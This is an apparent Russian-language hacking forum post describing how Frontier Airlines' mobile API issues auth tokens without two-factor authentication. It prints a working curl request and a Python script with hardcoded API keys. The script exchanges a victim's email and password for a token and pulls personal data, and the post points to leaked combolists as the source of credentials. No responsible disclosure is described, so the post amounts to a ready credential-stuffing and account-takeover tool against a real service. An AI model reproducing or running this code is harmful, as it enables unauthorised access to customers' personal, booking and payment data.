Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
картинка не захотела центрироваться
Второй путь, мобильное API. Полностью отдельный эндпоинт "mtier.flyfrontier.com/registrationssv/RetrieveUserToken", внутреннее API через Azure API Management, которое используется iOS и Android приложениями. И вот тут начинается цирк. Этот эндпоинт принимает тот же email и тот же пароль, но OTP не просит вообще. Двухфакторки на нём просто НЕТ. Не отключена, не обходится - её там никогда не было. Эндпоинт по дизайну работает без второго фактора. При этом никакой привязки к устройству тоже нет: ни device attestation, ни проверки сертификата приложения, ни SSL pinning'а на стороне сервера. Любой кто знает URL и API-ключ (оба лежат в APK в открытом виде) может отправить запрос с любого компьютера. И получить полный authToken с доступом ко всему, к персональным данным, к истории бронирований, к привязанным картам, к Frontier Miles. Ко всему.Не удалось прогрузить медиа
И вот тут давайте остановимся и осмыслим масштаб. У компании за $3.8 миллиарда есть два входа в один и тот же аккаунт. Парадный вход, через веб, с охранником, камерами и двухфакторкой. И чёрный ход, через мобильное API, без замка, без охраны, вообще без ничего. Оба ведут к одним и тем же данным. К одному и тому же ФИО, адресу, телефону, картам, милям. Но на чёрном ходе нет даже двери. Просто открытый проём. И адрес этого проёма лежит в APK на Google Play, который может скачать любой.
Не удалось прогрузить медиа
Теперь к практике. Что нам нужно для эксплуатации? Ничего. Буквально ничего, кроме email и пароля жертвы. Никакого jailbreak, никакого rooted-устройства, никакого перехвата трафика. Обычный curl из терминала. Вот весь запрос.
Code:
curl -s "https://mtier.flyfrontier.com/registrationssv/RetrieveUserToken" \
-X POST \
-H "Content-Type: application/json" \
-H "FrontierToken: e48bfbc8f-6898-4f80-b308-614c9a55eeb1d" \
-H "Ocp-Apim-Subscription-Key: 493f95d2aa20409e9094b6ae78c1e5de" \
-H "User-Agent: NCPIOS/3.6.1" \
-d '{"applicationName":"NCPIOS","credentials":{"username":"[email protected]","password":"loh","domain":"WWW"}}'
И в ответ приходит полный JWT-токен с правами пользователя. SessionID, personID, roleCode, всё на блюдечке. С этим токеном делаешь один GET-запрос на GetPersonData, и получаешь полное ФИО, email, телефон, домашний адрес, номер Frontier Miles. Второй запрос на GetMemberLoyaltyInfo, и видишь баланс миль, уровень программы лояльности, дату регистрации. Третий запрос на GetUserBookings, и читаешь историю перелётов. Всё это без единого OTP. Потому что ты "мобильное приложение".
Не удалось прогрузить медиа
Теперь ответьте мне на один вопрос. Откуда у нас email и пароль? А оттуда же, откуда всегда. Утечки. Комболисты. В 2024-2025 году утекло столько баз, что найти email+password комбинацию для среднего американца, это вопрос пяти минут. И обычно от этого спасает именно двухфакторка. Человек использует один пароль на десяти сервисах, один из них утекает, но на остальных стоит 2FA, и атакующий обламывается. Это ВЕСЬ СМЫСЛ двухфакторной аутентификации. Один фактор скомпрометирован, второй спасает. Но Frontier решили что мобильному API это не нужно. Видимо, из утёкших баз логинятся только через браузер, через мобилки никто не полезет.
Не удалось прогрузить медиа
Я написал простенький скрипт на Python. 30 строк. Принимает email и пароль, шлёт запрос на мобильный эндпоинт, если 200, вытаскивает персональные данные и выводит. Весь скрипт, от первой строки до последней, пишется за 10 минут. И работает. На любом аккаунте Frontier Airlines.
Code:
import requests, json, base64, sys
url = "https://mtier.flyfrontier.com"
headers = {
"Content-Type": "application/json",
"Ocp-Apim-Subscription-Key": "493f95d2aa20409e9094b6ae78c1e5de",
"FrontierToken": "e48bfbc8f-6898-4f80-b308-614c9a55eeb1d",
"User-Agent": "NCPIOS/3.6.1"
}
email = sys.argv[1]
password = sys.argv[2]
r = requests.post(f"{url}/registrationssv/RetrieveUserToken", headers=headers, json={
"applicationName": "NCPIOS",
"credentials": {"username": email, "password": password, "domain": "WWW"}
})
if r.status_code != 200 or not r.json().get("data", {}).get("authToken"):
print("INVALID")
sys.exit(1)
auth = r.json()["data"]["authToken"]
payload = auth.split('.')[1] + '=='
claims = json.loads(base64.urlsafe_b64decode(payload))
pid = claims["personID"]
pk = base64.urlsafe_b64encode(pid.encode()).decode().rstrip('=') + '-'
print(json.dumps(claims, indent=2))
headers["authToken"] = auth
r = requests.get(f"{url}/registrationssv/GetPersonData?personKey={pk}", headers=headers)
print(json.dumps(r.json(), indent=2))
Не удалось прогрузить медиа
Заметьте, я даже не реверсил приложение когда писал этот скрипт. Ну ладно, реверсил, но для другого. Я распаковал APK через apktool, нашёл в resources.arsc 64 захардкоженных API-ключа для Azure API Management, нашёл один ключ который подходит ко всем 13+ микросервисам (registrationssv, bookingssv, loyaltyssv, flightavailabilityssv и так далее), нашёл эндпоинт ImpersonateUserRole на проде, нашёл DummyBookingTrip который создаёт тестовые бронирования так же в проде. Но обход 2FA я нашёл случайно, просто потому что скопировал запрос из перехваченного трафика iOS-приложения. И оно сработало. Без OTP. И я подумал, подождите, на сайте же была двухфакторка. Начал тестить. Поменял applicationName на WEB, 400. Вернул NCPIOS, 200, без OTP. Поменял User-Agent на Chrome, оставил NCPIOS, 200, без OTP. И тут до меня дошло. Им достаточно одного JSON-поля в теле запроса. Они БУКВАЛЬНО доверяют тому, что клиент сам про себя пишет в applicationName. В 2026 году. Авиакомпания за $3.8 миллиарда. Мне, наверное, больше нечего сказать. Не болейте =)
картинки в один момент перехотели центрироваться =(
👍77
🔥9
😢11
💯24
LIMB